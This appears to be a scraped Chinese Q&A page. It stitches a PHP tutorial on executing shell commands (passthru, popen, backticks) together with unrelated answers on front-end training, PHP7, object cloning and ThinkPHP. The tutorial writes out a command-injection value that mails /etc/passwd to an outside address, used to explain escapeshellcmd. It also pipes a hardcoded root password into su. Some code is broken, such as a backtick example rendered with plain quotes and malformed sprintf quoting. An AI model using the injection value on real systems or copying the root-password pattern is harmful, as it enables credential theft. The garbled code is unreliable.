原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。

例子1:

復制代碼
代碼如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

復制代碼
代碼如下:

<?php
/* PHP中如何增加一個系統用戶

下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

復制代碼
代碼如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

這個腳本的輸出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼?

要考慮兩個問題:安全性和超時。

看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:

復制代碼
代碼如下:

<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

『柒』 零基礎學習前端開發都必須掌握什麼內容

前端前景是很不錯的,像前端這樣的專業還是一線城市比較好,師資力量跟得上、就業的薪資也是可觀的,學習前端可以按照路線圖的順序,

0基礎學習前端是沒有問題的,關鍵是找到靠譜的前端培訓機構,你可以深度了解機構的口碑情況,問問周圍知道這家機構的人,除了口碑再了解機構的以下幾方面:

1. 師資力量雄厚

要想有1+1>2的實際效果,很關鍵的一點是師資隊伍,你接下來無論是找個工作還是工作中出任哪些的人物角色,都越來越愛你本身的技術專業前端技術性,也許的技術專業前端技術性則絕大多數來自你的技術專業前端教師,一個好的前端培訓機構必須具備雄厚的師資力量。

2. 就業保障完善

實現1+1>2效果的關鍵在於能夠為你提供良好的發展平台,即能夠為你提供良好的就業保障,讓學員能夠學到實在實在的知識,並向前端學員提供一對一的就業指導,確保學員找到自己的心理工作。

3. 學費性價比高

一個好的前端培訓機構肯定能給你帶來1+1>2的效果,如果你在一個由專業的前端教師領導並由前端培訓機構自己提供的平台上工作,你將獲得比以往更多的投資。

希望你早日學有所成。

『捌』 PHP7會毀了PHP嗎

我覺得題主說的「毀掉」的意思可能是是毀掉PHP超低的入門門檻。感覺越寫越像Java。然而不可避免的,要接受改變。在ES6剛出的時候也有很多人說ES6毀了JavaScript.原型繼承的寫法多麼多麼好。class寫法多麼多麼糟。時間證明,ES6標准正在快速被實現。我相信,PHP正在越變越好
關於嚴格模式:
從目前來看我覺得新項目用PHP的話,還是開了嚴格模式比較好。因為7.1會加上JIT,性能會提升更多。不給返回值類型JIT不好做啊。對於新手來說,不開嚴格模式學習也不會有太大的問題。
總之,我覺得PHP7是個好事。我就等3號發布正式版升級了~話說什麼時候能把那些語法整理一下啊,都二十年了,咱函數名調整一下吧。要不然就被黑一輩子了 T_T

『玖』 PHP對象的淺復制與深復制的實例詳解

PHP對象的淺復制與深復制的實例詳解
最近在看原型模式時注意到這個問題~~PHP中對象
'='
與『clone'的區別
實例代碼:
//聚合類
class
ObjA
{
public
$num
=
0;
public
$objB;//包含的對象
function
__construct()
{
$this->objB
=
new
ObjB();
}
//只有實現了下面方法聚合類
才能實現深復制
/*function
__clone()
{
$this->objB
=
clone
$this->objB;
}*/
}
class
ObjB
{
public
$num2
=
0;
}
//原型對象
$objA
=
new
ObjA();
//復制對象(『='復制引用)
$objA2
=
$objA;
$objA2->num
=
2;
//隨著$objA2->num的變化
$objA->num也變化了
print_r($objA->num.'<br/>');//結果為2
print_r($objA2->num.'<br/>');//結果為2
//復制對象(『clone'關鍵字克隆)
$objA3
=
clone
$objA;
$objA3->num
=
4;
//隨著$objA3->num的變化
$objA->num沒有變化
print_r($objA->num.'<br/>');//結果為2
print_r($objA3->num.'<br/>');//結果為4
//但是clone的對象(是聚合類)中包含其他對象時所包含的對象(objB)復制的是引用
$objA3->objB->num2
=
7;
print_r($objA3->objB->num2.'<br/>');//結果是7
print_r($objA->objB->num2.'<br/>');//結果是7</pre>
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『拾』 thinkPHP中的pathinfo模式是如何實現的

PATH_INFO 是一個 CGI 1.1 環境變數
pathinfo模式就是將路徑中的每一節對應於預先設定的變數
即以位置來決定含義,有如下標數組
$_SERVER['PATH_INFO']這個是原型

然後是正則表達式或者字元串函數獲取 參數

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